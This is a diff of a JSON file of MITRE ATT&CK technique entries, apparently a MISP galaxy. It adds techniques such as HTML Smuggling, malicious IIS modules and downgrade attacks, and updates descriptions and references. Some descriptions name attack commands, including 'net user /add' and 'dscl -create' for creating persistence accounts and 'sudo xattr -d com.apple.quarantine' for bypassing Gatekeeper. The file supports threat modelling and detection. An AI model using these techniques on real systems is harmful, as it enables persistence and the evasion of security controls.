+ "description": "Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)\n\nAdversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)",
"meta": {
"external_id": "T1204.003",
"kill_chain": [
@@ -15629,7 +15991,8 @@
],
"refs": [
"https://attack.mitre.org/techniques/T1204/003",
- "https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/"
+ "https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/",
+ "https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation"
]
},
"related": [
@@ -15688,7 +16051,8 @@
"SaaS",
"Windows",
"Office 365",
- "Google Workspace"
+ "Google Workspace",
+ "IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1606/002",
@@ -15708,6 +16072,38 @@
"uuid": "1f9c2bae-b441-4f66-a8af-b65946ee72f2",
"value": "SAML Tokens - T1606.002"
},
+ {
+ "description": "Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)\n\nAdversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as text/plain and/or text/html. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.\n\nFor example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as msSaveBlob.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)",
+ "meta": {
+ "external_id": "T1027.006",
+ "kill_chain": [
+ "mitre-attack:defense-evasion"
+ ],
+ "mitre_data_sources": [
+ "File: File Creation"
+ ],
+ "mitre_platforms": [
+ "Windows",
+ "Linux",
+ "macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/techniques/T1027/006",
+ "https://www.menlosecurity.com/blog/new-attack-alert-duri",
+ "https://outflank.nl/blog/2018/08/14/html-smuggling-explained/",
+ "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/",
+ "https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "type": "subtechnique-of"
+ }
+ ],
+ "uuid": "d4dc46e3-5ba5-45b9-8204-010867cacfcb",
+ "value": "HTML Smuggling - T1027.006"
+ },
{
"description": "Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nTools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo.\n\nAdversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.",
"meta": {
@@ -15715,6 +16111,9 @@
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Internet Scan: Response Content"
+ ],
"mitre_platforms": [
"PRE"
],
@@ -15772,6 +16171,7 @@
"mitre-attack:initial-access"
],
"mitre_data_sources": [
+ "Logon Session: Logon Session Metadata",
"User Account: User Account Authentication",
"Logon Session: Logon Session Creation"
],
@@ -15785,7 +16185,8 @@
"https://capec.mitre.org/data/definitions/560.html",
"https://technet.microsoft.com/en-us/library/dn535501.aspx",
"https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts",
- "https://technet.microsoft.com/en-us/library/dn487457.aspx"
+ "https://technet.microsoft.com/en-us/library/dn487457.aspx",
+ "https://ubuntu.com/server/docs/service-sssd"
]
},
"related": [
@@ -15925,6 +16326,7 @@
"https://attack.mitre.org/techniques/T1505/003",
"https://capec.mitre.org/data/definitions/650.html",
"https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html",
+ "https://github.com/nsacyber/Mitigating-Web-Shells",
"https://www.us-cert.gov/ncas/alerts/TA15-314A"
]
},
@@ -15938,7 +16340,7 @@
"value": "Web Shell - T1505.003"
},
{
- "description": "Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020)\n\nEach .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.",
+ "description": "Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.",
"meta": {
"external_id": "T1053.006",
"kill_chain": [
@@ -15958,6 +16360,7 @@
"refs": [
"https://attack.mitre.org/techniques/T1053/006",
"https://wiki.archlinux.org/index.php/Systemd/Timers",
+ "https://www.tecmint.com/control-systemd-services-on-remote-linux-server/",
"http://man7.org/linux/man-pages/man1/systemd.1.html",
"https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/",
"https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a",
@@ -16006,7 +16409,7 @@
"value": "Startup Items - T1037.005"
},
{
- "description": "Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft Msolrole)(Citation: GitHub Raindance)\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation)",
+ "description": "Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google (Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation).\n\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.",
"meta": {
"external_id": "T1069.003",
"kill_chain": [
@@ -16032,7 +16435,8 @@
"https://github.com/True-Demon/raindance",
"https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest",
"https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/",
- "https://cloud.google.com/identity/docs/reference/rest"
+ "https://cloud.google.com/identity/docs/reference/rest",
+ "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html"
]
},
"related": [
@@ -16088,6 +16492,7 @@
"mitre-attack:initial-access"
],
"mitre_data_sources": [
+ "Logon Session: Logon Session Metadata",
"User Account: User Account Authentication",
"Logon Session: Logon Session Creation"
],
@@ -16110,6 +16515,44 @@
"uuid": "fdc47f44-dd32-4b99-af5f-209f556f63c2",
"value": "Local Accounts - T1078.003"
},
+ {
+ "description": "Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: Get{Extension/Filter}Version, Http{Extension/Filter}Proc, and (optionally) Terminate{Extension/Filter}. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013)\n\nAdversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012)\n\nAdversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports RegisterModule, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021)",
+ "meta": {
+ "external_id": "T1505.004",
+ "kill_chain": [
+ "mitre-attack:persistence"
+ ],
+ "mitre_data_sources": [
+ "File: File Creation",
+ "File: File Modification",
+ "Command: Command Execution"
+ ],
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/techniques/T1505/004",
+ "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525172(v=vs.90)",
+ "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms524610(v=vs.90)",
+ "https://web.archive.org/web/20170106175935/http:/esec-lab.sogeti.com/posts/2011/02/02/iis-backdoor.html",
+ "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-curious-case-of-the-malicious-iis-module/",
+ "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525696(v=vs.90)",
+ "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage",
+ "https://web.archive.org/web/20140804175025/http:/blogs.technet.com/b/mmpc/archive/2012/10/03/malware-signed-with-the-adobe-code-signing-certificate.aspx",
+ "https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview",
+ "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf",
+ "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "d456de47-a16f-4e46-8980-e67478a12dcb",
+ "type": "subtechnique-of"
+ }
+ ],
+ "uuid": "b46a801b-fd98-491c-a25a-bca25d6e3001",
+ "value": "IIS Components - T1505.004"
+ },
{
"description": "Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
"meta": {
@@ -16175,6 +16618,7 @@
"mitre-attack:initial-access"
],
"mitre_data_sources": [
+ "Logon Session: Logon Session Metadata",
"User Account: User Account Authentication",
"Logon Session: Logon Session Creation"
],
@@ -16338,6 +16782,9 @@
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Internet Scan: Response Content"
+ ],
"mitre_platforms": [
"PRE"
],
@@ -16388,7 +16835,7 @@
"value": "Standard Encoding - T1132.001"
},
{
- "description": "Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.",
+ "description": "Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.",
"meta": {
"external_id": "T1136.001",
"kill_chain": [
@@ -16487,6 +16934,35 @@
"uuid": "4ff5d6a8-c062-4c68-a778-36fc5edd564f",
"value": "Control Panel - T1218.002"
},
+ {
+ "description": "Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.\n\n\nOnce adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)",
+ "meta": {
+ "external_id": "T1213.003",
+ "kill_chain": [
+ "mitre-attack:collection"
+ ],
+ "mitre_data_sources": [
+ "Logon Session: Logon Session Creation",
+ "Application Log: Application Log Content"
+ ],
+ "mitre_platforms": [
+ "SaaS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/techniques/T1213/003",
+ "https://www.wired.com/story/uber-paid-off-hackers-to-hide-a-57-million-user-data-breach/",
+ "https://krebsonsecurity.com/2013/10/adobe-to-announce-source-code-customer-data-breach/"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "d28ef391-8ed4-45dc-bc4a-2f43abf54416",
+ "type": "subtechnique-of"
+ }
+ ],
+ "uuid": "cff94884-3b1c-4987-a70b-6d5643c621c3",
+ "value": "Code Repositories - T1213.003"
+ },
{
"description": "Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the net user /add /domain command can be used to create a domain account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.",
"meta": {
@@ -16634,6 +17110,7 @@
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
+ "Process: Process Modification",
"Process: OS API Execution",
"Process: Process Access"
],
@@ -16655,6 +17132,39 @@
"uuid": "b200542e-e877-4395-875b-cf1a44537ca4",
"value": "Process Hollowing - T1055.012"
},
+ {
+ "description": "Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls such as logging. For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)\n\nAdversaries may downgrade and use less-secure versions of various features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557).(Citation: Praetorian TLS Downgrade Attack 2014)",
+ "meta": {
+ "external_id": "T1562.010",
+ "kill_chain": [
+ "mitre-attack:defense-evasion"
+ ],
+ "mitre_data_sources": [
+ "Command: Command Execution",
+ "Process: Process Metadata",
+ "Process: Process Creation"
+ ],
+ "mitre_platforms": [
+ "Windows",
+ "Linux",
+ "macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/techniques/T1562/010",
+ "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/",
+ "https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique",
+ "https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
+ "type": "subtechnique-of"
+ }
+ ],
+ "uuid": "824add00-99a1-4b15-9a2d-6c5683b7b497",
+ "value": "Downgrade Attack - T1562.010"
+ },
{
"description": "Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
"meta": {
@@ -16746,7 +17256,7 @@
"value": "Outlook Forms - T1137.003"
},
{
- "description": "Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).",
+ "description": "Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\n\n Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\n \nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) ",
"meta": {
"external_id": "T1543.001",
"kill_chain": [
@@ -16785,7 +17295,7 @@
"value": "Launch Agent - T1543.001"
},
{
- "description": "Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls. In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)",
+ "description": "Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls in macOS. When documents, applications, or programs are downloaded an extended attribute (xattr) called com.apple.quarantine can be set on the file by the application performing the download. This attribute, also known as a quarantine flag, is read by Apple's Gatekeeper defense program when the file is run and provides a prompt to the user to allow or deny execution. Gatekeeper also monitors an application's usage of dynamic libraries (dylibs) loaded outside the application folder on any quarantined binary, often using the dlopen function. If the quarantine flag is set in macOS 10.15+, Gatekeeper also checks for a notarization ticket and sends a cryptographic hash to Apple's servers to check for validity for all unsigned executables.(Citation: TheEclecticLightCompany apple notarization )(Citation: Bypassing Gatekeeper)\n\nThe quarantine flag is an opt-in system and not imposed by macOS. If an application opts-in, a file downloaded from the Internet will be given a quarantine flag before being saved to disk. Any application or user with write permissions to the file can change or strip the quarantine flag. With elevated permission (sudo), this attribute can be removed from any file. The presence of the com.apple.quarantine quarantine flag can be checked with the xattr command xattr -l /path/to/examplefile. Similarly, this attribute can be recursively removed from all files in a folder using xattr, sudo xattr -d com.apple.quarantine /path/to/folder.(Citation: 20 macOS Common Tools and Techniques)(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: theevilbit gatekeeper bypass 2021)\n\nApps and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command do not set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), which may bypass Gatekeeper. (Citation: Methods of Mac Malware Persistence)(Citation: Clearing quarantine attribute)(Citation: OceanLotus for OS X)",
"meta": {
"external_id": "T1553.001",
"kill_chain": [
@@ -16802,10 +17312,14 @@
],
"refs": [
"https://attack.mitre.org/techniques/T1553/001",
+ "https://eclecticlight.co/2020/08/28/how-notarization-works/",
+ "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/",
+ "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/",
+ "https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/",
+ "https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
"https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/",
- "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update",
- "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/"
+ "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update"
]
},
"related": [
@@ -16935,6 +17449,7 @@
"https://attack.mitre.org/techniques/T1137/005",
"https://silentbreaksecurity.com/malicious-outlook-rules/",
"https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack",
+ "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/",
"https://github.com/sensepost/notruler"
]
},
@@ -17098,7 +17613,7 @@
"value": "Identify Roles - T1591.004"
},
{
- "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. \n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. \n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)",
